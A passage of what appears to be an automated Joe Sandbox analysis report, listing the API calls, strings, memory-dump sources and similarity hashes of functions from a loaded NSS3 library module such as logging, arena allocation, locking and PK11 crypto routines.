strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CDF7E37
PR_GetEnvSecure.NSS3(NSPR_INHERIT_FDS), ref: 6CDF7E46

Part of subcall function 6CCD1240: TlsGetValue.KERNEL32(00000040,?,6CCD116C,NSPR_LOG_MODULES), ref: 6CCD1267
Part of subcall function 6CCD1240: EnterCriticalSection.KERNEL32(?,?,?,6CCD116C,NSPR_LOG_MODULES), ref: 6CCD127C
Part of subcall function 6CCD1240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CCD116C,NSPR_LOG_MODULES), ref: 6CCD1291
Part of subcall function 6CCD1240: PR_Unlock.NSS3(?,?,?,?,6CCD116C,NSPR_LOG_MODULES), ref: 6CCD12A0

PR_sscanf.NSS3(00000001,%d:0x%lx,?,?), ref: 6CDF7EAF
PR_ImportFile.NSS3(?), ref: 6CDF7ECF
PR_GetCurrentThread.NSS3 ref: 6CDF7ED6
PR_ImportTCPSocket.NSS3(?), ref: 6CDF7F01
PR_ImportUDPSocket.NSS3(?,?), ref: 6CDF7F0B
PR_ImportPipe.NSS3(?,?,?), ref: 6CDF7F15

Strings

NSPR_INHERIT_FDS, xrefs: 6CDF7E41
%d:0x%lx, xrefs: 6CDF7EA9

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: Import$Socket$CriticalCurrentEnterFilePipeR_sscanfSectionSecureThreadUnlockValuegetenvstrlen
String ID: %d:0x%lx$NSPR_INHERIT_FDS
API String ID: 2743735569-629032437
Opcode ID: b22df492d84df59b061a92189dc35a68349bb41ed18bc1761b5a5c773f07c0f6
Instruction ID: e2f2e7f1c4a17389b941639ec9ff4e7edcff1722145b3d3737b38c1b5fad76b1
Opcode Fuzzy Hash: b22df492d84df59b061a92189dc35a68349bb41ed18bc1761b5a5c773f07c0f6
Instruction Fuzzy Hash: 89312371E0411AEBEB009B69C840EEBB7B9BF45348F230526D86593A31E761DD06C7A2

Function 6CD2ECE0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,00000000,?,?,6CD2DE64), ref: 6CD2ED0C
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CD2ED22

Part of subcall function 6CD3B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CE118D0,?), ref: 6CD3B095

PL_FreeArenaPool.NSS3(?), ref: 6CD2ED4A
PL_FinishArenaPool.NSS3(?), ref: 6CD2ED6B
PR_CallOnce.NSS3(6CE42AA4,6CD412D0), ref: 6CD2ED38

Part of subcall function 6CC64C70: TlsGetValue.KERNEL32(?,?,?,6CC63921,6CE414E4,6CDACC70), ref: 6CC64C97
Part of subcall function 6CC64C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CC63921,6CE414E4,6CDACC70), ref: 6CC64CB0
Part of subcall function 6CC64C70: PR_Unlock.NSS3(?,?,?,?,?,6CC63921,6CE414E4,6CDACC70), ref: 6CC64CC9

SECOID_FindOID_Util.NSS3(?), ref: 6CD2ED52
PR_CallOnce.NSS3(6CE42AA4,6CD412D0), ref: 6CD2ED83
PL_FreeArenaPool.NSS3(?), ref: 6CD2ED95
PL_FinishArenaPool.NSS3(?), ref: 6CD2ED9D

Part of subcall function 6CD464F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6CD4127C,00000000,00000000,00000000), ref: 6CD4650E

Strings

security, xrefs: 6CD2ED06

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: ArenaPool$CallFinishFreeOnceUtil$CriticalDecodeEnterErrorFindInitItem_QuickSectionUnlockValuefree
String ID: security
API String ID: 3323615905-3315324353
Opcode ID: 757a2a7d9bd768a23e129c2e5662facaf3fb5c2c7eea11cd3be052ed45f0b6d4
Instruction ID: 2f5c788612ce3161cd4d54d9fcc9f5cbbaaed78ba6610fb46c0494d3373d9fa8
Opcode Fuzzy Hash: 757a2a7d9bd768a23e129c2e5662facaf3fb5c2c7eea11cd3be052ed45f0b6d4
Instruction Fuzzy Hash: 9B116D3690021467EB109732AC84BBF7278AF0270DF004428EB49A2F70F729A51E86F7

Function 6CDF0EB0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Aborting,?,6CCD2357), ref: 6CDF0EB8
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(6CCD2357), ref: 6CDF0EC0
PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6CDF0EE6

Part of subcall function 6CDF09D0: PR_Now.NSS3 ref: 6CDF0A22
Part of subcall function 6CDF09D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CDF0A35
Part of subcall function 6CDF09D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CDF0A66
Part of subcall function 6CDF09D0: PR_GetCurrentThread.NSS3 ref: 6CDF0A70
Part of subcall function 6CDF09D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CDF0A9D
Part of subcall function 6CDF09D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CDF0AC8
Part of subcall function 6CDF09D0: PR_vsmprintf.NSS3(?,?), ref: 6CDF0AE8
Part of subcall function 6CDF09D0: EnterCriticalSection.KERNEL32(?), ref: 6CDF0B19
Part of subcall function 6CDF09D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CDF0B48
Part of subcall function 6CDF09D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CDF0C76
Part of subcall function 6CDF09D0: PR_LogFlush.NSS3 ref: 6CDF0C7E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6CDF0EFA

Part of subcall function 6CCDAEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6CCDAF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CDF0F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CDF0F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CDF0F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CDF0F2B

Strings

Assertion failure: %s, at %s:%d, xrefs: 6CDF0ED9, 6CDF0EE5, 6CDF0F06, 6CDF0F0B
Aborting, xrefs: 6CDF0EB3

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: DebugPrintR_snprintf__acrt_iob_funcabort$BreakCriticalCurrentEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime__stdio_common_vfprintffflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 3905088656-1374795319
Opcode ID: 64a1372c50b8895f1823c708893321183fc3db512ca76458456477744694cbc8
Instruction ID: 5046b20c2d6f8d2ffa08884dd64c671281a085e6cecdb8c37b4a41213fc67eec
Opcode Fuzzy Hash: 64a1372c50b8895f1823c708893321183fc3db512ca76458456477744694cbc8
Instruction Fuzzy Hash: 86F0A4B6A001287BDB123B60DC4AC9B3E3DEF82274F444424FD0D56602EA39F92496F3

Function 6CD54DB0 Relevance: 16.9, APIs: 11, Instructions: 395memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400), ref: 6CD54DCB

Part of subcall function 6CD40FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CCE87ED,00000800,6CCDEF74,00000000), ref: 6CD41000
Part of subcall function 6CD40FF0: PR_NewLock.NSS3(?,00000800,6CCDEF74,00000000), ref: 6CD41016
Part of subcall function 6CD40FF0: PL_InitArenaPool.NSS3(00000000,security,6CCE87ED,00000008,?,00000800,6CCDEF74,00000000), ref: 6CD4102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000001C), ref: 6CD54DE1

Part of subcall function 6CD410C0: TlsGetValue.KERNEL32(?,6CCE8802,00000000,00000008,?,6CCDEF74,00000000), ref: 6CD410F3
Part of subcall function 6CD410C0: EnterCriticalSection.KERNEL32(?,?,6CCE8802,00000000,00000008,?,6CCDEF74,00000000), ref: 6CD4110C
Part of subcall function 6CD410C0: PL_ArenaAllocate.NSS3(?,?,?,6CCE8802,00000000,00000008,?,6CCDEF74,00000000), ref: 6CD41141
Part of subcall function 6CD410C0: PR_Unlock.NSS3(?,?,?,6CCE8802,00000000,00000008,?,6CCDEF74,00000000), ref: 6CD41182
Part of subcall function 6CD410C0: TlsGetValue.KERNEL32(?,6CCE8802,00000000,00000008,?,6CCDEF74,00000000), ref: 6CD4119C

PORT_ArenaAlloc_Util.NSS3(?,0000001C), ref: 6CD54DFF
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CD54E59

Part of subcall function 6CD3FAB0: free.MOZGLUE(?,-00000001,?,?,6CCDF673,00000000,00000000), ref: 6CD3FAC7

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CE1300C,00000000), ref: 6CD54EB8
SECOID_FindOID_Util.NSS3(?), ref: 6CD54EFF
memcmp.VCRUNTIME140(?,00000000,00000000), ref: 6CD54F56
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CD5521A

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_Item_Value$AllocateCriticalDecodeEnterFindFreeInitLockPoolQuickSectionUnlockZfreecallocfreememcmp
String ID:
API String ID: 1025791883-0
Opcode ID: 6bcc15268d36d8d2eade2070a9f99c763ac1840a04dc35280f28f94f2f611f2f
Instruction ID: 59f50d6a87bd70fea23d9dbff501ba0634fbab6751e7034a14d2771d67c07163
Opcode Fuzzy Hash: 6bcc15268d36d8d2eade2070a9f99c763ac1840a04dc35280f28f94f2f611f2f
Instruction Fuzzy Hash: 3EF1BD71E00209CBDF05CF58D8407AEB7B2BF48358F658129E915AB7A0E735E9A1CF91

Function 6CD318D0 Relevance: 16.7, APIs: 11, Instructions: 169COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CD31926
EnterCriticalSection.KERNEL32 ref: 6CD3193F
PR_Unlock.NSS3 ref: 6CD31962
PR_Unlock.NSS3 ref: 6CD31996
PK11_GetSlotInfo.NSS3 ref: 6CD319A5
TlsGetValue.KERNEL32 ref: 6CD319DC
EnterCriticalSection.KERNEL32 ref: 6CD319F5
PR_Unlock.NSS3 ref: 6CD31A2D
TlsGetValue.KERNEL32 ref: 6CD31A50
EnterCriticalSection.KERNEL32 ref: 6CD31A69
PR_Unlock.NSS3 ref: 6CD31ABC

Part of subcall function 6CCD07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CC6204A), ref: 6CCD07AD
Part of subcall function 6CCD07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CC6204A), ref: 6CCD07CD
Part of subcall function 6CCD07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CC6204A), ref: 6CCD07D6
Part of subcall function 6CCD07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CC6204A), ref: 6CCD07E4
Part of subcall function 6CCD07A0: TlsSetValue.KERNEL32(00000000,?,6CC6204A), ref: 6CCD0864
Part of subcall function 6CCD07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CCD0880
Part of subcall function 6CCD07A0: TlsSetValue.KERNEL32(00000000,?,?,6CC6204A), ref: 6CCD08CB
Part of subcall function 6CCD07A0: TlsGetValue.KERNEL32(?,?,6CC6204A), ref: 6CCD08D7
Part of subcall function 6CCD07A0: TlsGetValue.KERNEL32(?,?,6CC6204A), ref: 6CCD08FB

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSection$calloc$InfoK11_Slot
String ID:
API String ID: 3878197720-0
Opcode ID: 3a9b8a2a147af2cc04787557d975ff7c6bcb82179d718e95e7f03fecb640e3d4
Instruction ID: 477269bc8d71826de72a0f60dfa10b85c383a74c11f10c09654abc605002f79b
Opcode Fuzzy Hash: 3a9b8a2a147af2cc04787557d975ff7c6bcb82179d718e95e7f03fecb640e3d4
Instruction Fuzzy Hash: B5616E75604B16CFDB10AF79C08436AB7F0BF46309F15592DC99987B60EB34E886CB92

Function 6CD50C60 Relevance: 16.7, APIs: 11, Instructions: 153memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6CD52C2A), ref: 6CD50C81

Part of subcall function 6CD3BE30: SECOID_FindOID_Util.NSS3(6CCF311B,00000000,?,6CCF311B,?), ref: 6CD3BE44

Part of subcall function 6CD28500: SECOID_GetAlgorithmTag_Util.NSS3(6CD295DC,00000000,00000000,00000000,?,6CD295DC,00000000,00000000,?,6CD07F4A,00000000,?,00000000,00000000), ref: 6CD28517

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CD50CC4

Part of subcall function 6CD3FAB0: free.MOZGLUE(?,-00000001,?,?,6CCDF673,00000000,00000000), ref: 6CD3FAC7

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CD50CD5
PORT_ZAlloc_Util.NSS3(0000101C), ref: 6CD50D1D
PK11_GetBlockSize.NSS3(-00000001,00000000), ref: 6CD50D3B
PK11_CreateContextBySymKey.NSS3(-00000001,00000104,?,00000000), ref: 6CD50D7D
free.MOZGLUE(00000000), ref: 6CD50DB5
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CD50DC1
free.MOZGLUE(00000000), ref: 6CD50DF7
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CD50E05
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CD50E0F

Part of subcall function 6CD295C0: SECOID_FindOIDByTag_Util.NSS3(00000000,?,00000000,?,6CD07F4A,00000000,?,00000000,00000000), ref: 6CD295E0
Part of subcall function 6CD295C0: PK11_GetIVLength.NSS3(?,?,?,00000000,?,6CD07F4A,00000000,?,00000000,00000000), ref: 6CD295F5
Part of subcall function 6CD295C0: SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6CD29609
Part of subcall function 6CD295C0: SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CD2961D
Part of subcall function 6CD295C0: PK11_GetInternalSlot.NSS3 ref: 6CD2970B
Part of subcall function 6CD295C0: PK11_FreeSymKey.NSS3(00000000), ref: 6CD29756
Part of subcall function 6CD295C0: PK11_GetIVLength.NSS3(?), ref: 6CD29767
Part of subcall function 6CD295C0: SECITEM_DupItem_Util.NSS3(00000000), ref: 6CD2977E
Part of subcall function 6CD295C0: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CD2978E

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: Util$K11_$Tag_$Item_$FindZfree$Algorithmfree$ContextLength$Alloc_BlockCreateDestroyFreeInternalSizeSlot
String ID:
API String ID: 3136566230-0
Opcode ID: caf86bc9e6762e6d5c506a98796d475dc36da277c67d97647b04ddd70e58b8fd
Instruction ID: 5707d37093c96fc92d1aa5f10fe51a06aa1f666f146a413c813a9ec8cd70aaaa
Opcode Fuzzy Hash: caf86bc9e6762e6d5c506a98796d475dc36da277c67d97647b04ddd70e58b8fd
Instruction Fuzzy Hash: 8941D1B1A00259ABEF009F64DC81BAF7674AF0134CF140125E91967B61E735FA28CBF2

Function 6CCE4FD0 Relevance: 16.6, APIs: 11, Instructions: 112COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(00000001,00000000,6CE30148,?,6CCF6FEC), ref: 6CCE502A
PR_NewLock.NSS3(00000001,00000000,6CE30148,?,6CCF6FEC), ref: 6CCE5034
PL_NewHashTable.NSS3(00000000,6CD3FE80,6CD3FD30,6CD8C350,00000000,00000000,00000001,00000000,6CE30148,?,6CCF6FEC), ref: 6CCE5055
PL_NewHashTable.NSS3(00000000,6CD3FE80,6CD3FD30,6CD8C350,00000000,00000000,?,00000001,00000000,6CE30148,?,6CCF6FEC), ref: 6CCE506D

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: HashLockTable
String ID:
API String ID: 3862423791-0
Opcode ID: 712b6b57f5a302ed12895bf61758139495baff250409fb58b2d101c45d48094d
Instruction ID: 6d2a0b5bcc71543f065c5d0eb3ef87f0250e235e17ca90a2673ab35a8d652277
Opcode Fuzzy Hash: 712b6b57f5a302ed12895bf61758139495baff250409fb58b2d101c45d48094d
Instruction Fuzzy Hash: 1331B0B3B02220DBEB10AB65884CB4737B8AB2B75CF018125EA05DBB41F3759506CBE1

Function 6CC82E50 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,?), ref: 6CC82F3D
memset.VCRUNTIME140(?,00000000,?), ref: 6CC82FB9
memcpy.VCRUNTIME140(?,00000000,?), ref: 6CC83005
memcpy.VCRUNTIME140(?,?,?), ref: 6CC830EE
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CC83131
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001086C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CC83178

Strings

%s at line %d of [%.10s], xrefs: 6CC83171
database corruption, xrefs: 6CC8316C
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CC83022, 6CC83156, 6CC83162, 6CC8318A, 6CC83196, 6CC831A2, 6CC831AE, 6CC831BA, 6CC831C6

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: memcpy$memsetsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 984749767-598938438
Opcode ID: c46694d19c3603d2f51bd83b53bd1563fb1e07bc5df2cd6ffd28ba9c94e0518b
Instruction ID: c8dbddc371f6d0473dfdb8ef6a280994ea5486ee765dbc587c98ed0b3c05e47e
Opcode Fuzzy Hash: c46694d19c3603d2f51bd83b53bd1563fb1e07bc5df2cd6ffd28ba9c94e0518b
Instruction Fuzzy Hash: 42B1A570E062159BCB18CF9DC894AEFBBB1BF48708F18502DE845B7B41E7749942CBA4

Function 6CD57F90 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 167COMMON

Download Yara Rule

APIs

PR_GetMonitorEntryCount.NSS3(?,?,00000002,00000050,?,?,?,?,?,00000000), ref: 6CD57FB2

Part of subcall function 6CCDBA40: TlsGetValue.KERNEL32 ref: 6CCDBA51
Part of subcall function 6CCDBA40: TlsGetValue.KERNEL32 ref: 6CCDBA6B
Part of subcall function 6CCDBA40: EnterCriticalSection.KERNEL32 ref: 6CCDBA83
Part of subcall function 6CCDBA40: TlsGetValue.KERNEL32 ref: 6CCDBAA1
Part of subcall function 6CCDBA40: _PR_MD_UNLOCK.NSS3 ref: 6CCDBAC0

PR_EnterMonitor.NSS3(?,?,?,00000002,00000050,?,?,?,?,?,00000000), ref: 6CD57FD4

Part of subcall function 6CDA9090: TlsGetValue.KERNEL32 ref: 6CDA90AB
Part of subcall function 6CDA9090: TlsGetValue.KERNEL32 ref: 6CDA90C9
Part of subcall function 6CDA9090: EnterCriticalSection.KERNEL32 ref: 6CDA90E5
Part of subcall function 6CDA9090: TlsGetValue.KERNEL32 ref: 6CDA9116
Part of subcall function 6CDA9090: LeaveCriticalSection.KERNEL32 ref: 6CDA913F

Part of subcall function 6CD59430: PR_SetError.NSS3(FFFFD0AC,00000000), ref: 6CD59466

PR_ExitMonitor.NSS3(?), ref: 6CD5801B
PR_EnterMonitor.NSS3(?), ref: 6CD58034
TlsGetValue.KERNEL32 ref: 6CD580A2
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CD580C0
PR_ExitMonitor.NSS3(?), ref: 6CD5811C
PR_ExitMonitor.NSS3(?), ref: 6CD58134

Strings

), xrefs: 6CD580DB

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: Value$Monitor$Enter$CriticalExitSection$Error$CountEntryLeave
String ID: )
API String ID: 3537756449-2427484129
Opcode ID: 27ef2129e6fd01c655adced457c5cc221a532b0b55a53c3f3bab2ab2576bd9c4
Instruction ID: 337ce11242b0b68223040ec52301dd0146139c95a594374e86157bc384e81e66
Opcode Fuzzy Hash: 27ef2129e6fd01c655adced457c5cc221a532b0b55a53c3f3bab2ab2576bd9c4
Instruction Fuzzy Hash: 80513771A50704DBEF219F38DC01BEBB7B0AF5230CF84452ED95946A61EB31A529C792

Function 6CCFFCA0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 99stringmemoryCOMMON

Download Yara Rule

APIs

PK11_IsInternalKeySlot.NSS3(?,?,00000000,?), ref: 6CCFFCBD
strchr.VCRUNTIME140(?,0000003A,?,?,00000000,?), ref: 6CCFFCCC
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,00000000,?), ref: 6CCFFCEF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CCFFD32
PORT_ArenaAlloc_Util.NSS3(00000000,00000001), ref: 6CCFFD46
PORT_Alloc_Util.NSS3(00000001), ref: 6CCFFD51
memcpy.VCRUNTIME140(00000000,00000000,-00000001), ref: 6CCFFD6D
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CCFFD84

Strings

:, xrefs: 6CCFFD78

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
